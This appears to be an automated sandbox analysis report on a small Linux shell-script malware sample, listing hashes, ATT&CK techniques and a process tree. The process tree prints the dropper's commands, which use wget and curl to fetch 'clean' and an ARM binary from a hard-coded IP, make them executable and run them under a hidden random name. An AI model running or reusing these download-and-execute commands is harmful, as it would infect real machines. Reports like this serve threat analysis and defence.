7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
34s
max time network
36s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/06/2026, 21:46

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General

Target
sh
Size 2KB
Sample260626-1mt4bsfx2l
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod
806	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/fib/fib_table_lookup	find
File opened for reading	/sys/kernel/debug/tracing/events/thermal	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getresuid16	find
File opened for reading	/sys/devices/virtual/tty/tty56	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_cache_bypass	find
File opened for reading	/sys/kernel/debug/tracing/events/power/device_pm_callback_end	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fallocate	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getgid16	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice/user-0.slice/session-c1.scope	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_isolate_freepages	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mremap	find
File opened for reading	/sys/devices/virtual/tty/tty47	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/systemd-random-seed.service	find
File opened for reading	/sys/bus/event_source/drivers	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_ftruncate	find
File opened for reading	/sys/module/tpm/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_kswapd_sleep	find
File opened for reading	/sys/kernel/debug/tracing/events/workqueue	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_recvmsg	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_keyctl	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_vmsplice	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_chmod	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mprotect	find
File opened for reading	/sys/bus/platform/drivers/mxc_rtc	find
File opened for reading	/sys/kernel/debug/tracing/events/kmem/kmem_cache_free	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_signalfd4	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sendfile	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio/virtio0/block/vda	find
File opened for reading	/sys/module	find
File opened for reading	/sys/module/spurious	find
File opened for reading	/sys/module/firmware_class/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/vb2/vb2_buf_queue	find
File opened for reading	/sys/kernel/debug/tracing/events/cgroup/cgroup_setup_root	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_fcntl64	find
File opened for reading	/sys/bus/platform/drivers/reg-fixed-voltage	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_fstatfs	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sync_file_range2	find
File opened for reading	/sys/module/arm_smmu	find
File opened for reading	/sys/devices/system/container/power	find
File opened for reading	/sys/devices/virtual/bdi/mtd/power	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a000600	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_discard_blocks	find
File opened for reading	/sys/kernel/debug/tracing/events/kmem/kmalloc	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mlock	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_init_module	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setsid	find
File opened for reading	/sys/kernel/debug/tracing/events/udp/udp_fail_queue_rcv_skb	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/systemd-udevd.service	find
File opened for reading	/sys/bus/platform/drivers/mx3_sdc_fb	find
File opened for reading	/sys/bus/platform/drivers/gpio-clk	find
File opened for reading	/sys/module/crc32c_generic/holders	find
File opened for reading	/sys/devices/platform/0.flash	find
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/init.scope	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_hw_write_start	find
File opened for reading	/sys/kernel/debug/tracing/events/cpuhp	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getresgid16	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_setitimer	find
File opened for reading	/sys/class/devfreq	find
File opened for reading	/sys/kernel/debug/tracing/events/cgroup/cgroup_release	find
File opened for reading	/sys/kernel/debug/tracing/events/kvm/kvm_set_irq	find
File opened for reading	/sys/firmware/devicetree/base/aliases	find
File opened for reading	/sys/kernel/debug/tracing/events/regulator/regulator_set_voltage	find
File opened for reading	/sys/kernel/debug/tracing/events/migrate/mm_migrate_pages	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_stat_wait	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/662/task/662/net/dev_snmp6	find
File opened for reading	/proc/sys/net/ipv6/icmp	find
File opened for reading	/proc/19/map_files	find
File opened for reading	/proc/27/task/27/net	find
File opened for reading	/proc/662/task/666	find
File opened for reading	/proc/8/ns	find
File opened for reading	/proc/18/task/18	find
File opened for reading	/proc/23/ns	find
File opened for reading	/proc/304/task/311/net/dev_snmp6	find
File opened for reading	/proc/644/net/dev_snmp6	find
File opened for reading	/proc/670/attr	find
File opened for reading	/proc/sys/kernel/keys	find
File opened for reading	/proc/17/task/17/fdinfo	find
File opened for reading	/proc/20/task/20/net/stat	find
File opened for reading	/proc/20/fd	find
File opened for reading	/proc/29/map_files	find
File opened for reading	/proc/321/task/321/net/stat	find
File opened for reading	/proc/635/net/stat	find
File opened for reading	/proc/643	find
File opened for reading	/proc/8/task	find
File opened for reading	/proc/41/task/41/attr	find
File opened for reading	/proc/579/net/dev_snmp6	find
File opened for reading	/proc/594/net/dev_snmp6	find
File opened for reading	/proc/641/task/641/net/netfilter	find
File opened for reading	/proc/5/task/5	find
File opened for reading	/proc/6/task/6/attr	find
File opened for reading	/proc/304/task	find
File opened for reading	/proc/641/task/641/net	find
File opened for reading	/proc/sys/net/ipv4/neigh/lo	find
File opened for reading	/proc/8/task/8/fd	find
File opened for reading	/proc/16/net	find
File opened for reading	/proc/231/fd	find
File opened for reading	/proc/304	find
File opened for reading	/proc/6/task/6/net	find
File opened for reading	/proc/110/task	find
File opened for reading	/proc/170/task/170/ns	find
File opened for reading	/proc/231/map_files	find
File opened for reading	/proc/316/task/316/ns	find
File opened for reading	/proc/7/task/7/net/stat	find
File opened for reading	/proc/670/task/670/net/stat	find
File opened for reading	/proc/3/ns	find
File opened for reading	/proc/15/ns	find
File opened for reading	/proc/316/task/316/fd	find
File opened for reading	/proc/662/task/662/attr	find
File opened for reading	/proc/76/task/76/attr	find
File opened for reading	/proc/321/task/321/ns	find
File opened for reading	/proc/18/task/18/net/netfilter	find
File opened for reading	/proc/19/task/19/net/dev_snmp6	find
File opened for reading	/proc/304/task/312/net/dev_snmp6	find
File opened for reading	/proc/316/task/316/net/dev_snmp6	find
File opened for reading	/proc/583/map_files	find
File opened for reading	/proc/231/task/240/ns	find
File opened for reading	/proc/321/net/netfilter	find
File opened for reading	/proc/tty/driver	find
File opened for reading	/proc/9/task/9/net/dev_snmp6	find
File opened for reading	/proc/18/task/18/attr	find
File opened for reading	/proc/19/task/19/fdinfo	find
File opened for reading	/proc/41/ns	find
File opened for reading	/proc/76/fdinfo	find
File opened for reading	/proc/289/task/289/fdinfo	find
File opened for reading	/proc/316/task/316/net/netfilter	find
File opened for reading	/proc/10/task/10/net/dev_snmp6	find
File opened for reading	/proc/12/net/dev_snmp6	find
File opened for reading	/proc/76/task/76	find

/tmp/sh
/tmp/sh
1⤵
PID:647
- /bin/grep
  grep noexec
  2⤵
  PID:657
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:656
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:659
- /usr/bin/whoami
  whoami
  2⤵
  PID:672
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:674
- /bin/uname
  uname -mp
  2⤵
  PID:760
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:765
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:764
- /usr/bin/expr
  expr 52215 "%" 32 + 4
  2⤵
  PID:766
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:769
- /usr/bin/head
  head -c 27
  2⤵
  PID:770
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:768
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:771
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:773
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:774
- /bin/rm
  rm -rf clean
  2⤵
  PID:775
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:776
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  - Checks CPU configuration
  PID:779
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /bin/sh
  sh clean
  2⤵
  PID:781
- /bin/rm
  rm -rf clean
  2⤵
  PID:782
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:783
- /bin/rm
  rm -rf .jvSg3T6BJrypJHxKfyDXwUS0Cz1
  2⤵
  PID:784
- /bin/grep
  grep -q x86_64
  2⤵
  PID:786
- /bin/grep
  grep -q amd64
  2⤵
  PID:788
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:790
- /bin/grep
  grep -q armv8
  2⤵
  PID:792
- /bin/grep
  grep -q aarch64
  2⤵
  PID:794
- /bin/grep
  grep -q armv7
  2⤵
  PID:796
- /bin/rm
  rm -rf arm7
  2⤵
  PID:797
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/arm7
  2⤵
  PID:798
- /usr/bin/curl
  curl -skO https://217.60.195.113/arm7
  2⤵
  - Checks CPU configuration
  PID:801
- /bin/mv
  mv arm7 .jvSg3T6BJrypJHxKfyDXwUS0Cz1
  2⤵
  PID:805
- /bin/chmod
  chmod +x .jvSg3T6BJrypJHxKfyDXwUS0Cz1
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /.jvSg3T6BJrypJHxKfyDXwUS0Cz1
  ./.jvSg3T6BJrypJHxKfyDXwUS0Cz1
  2⤵
  PID:807

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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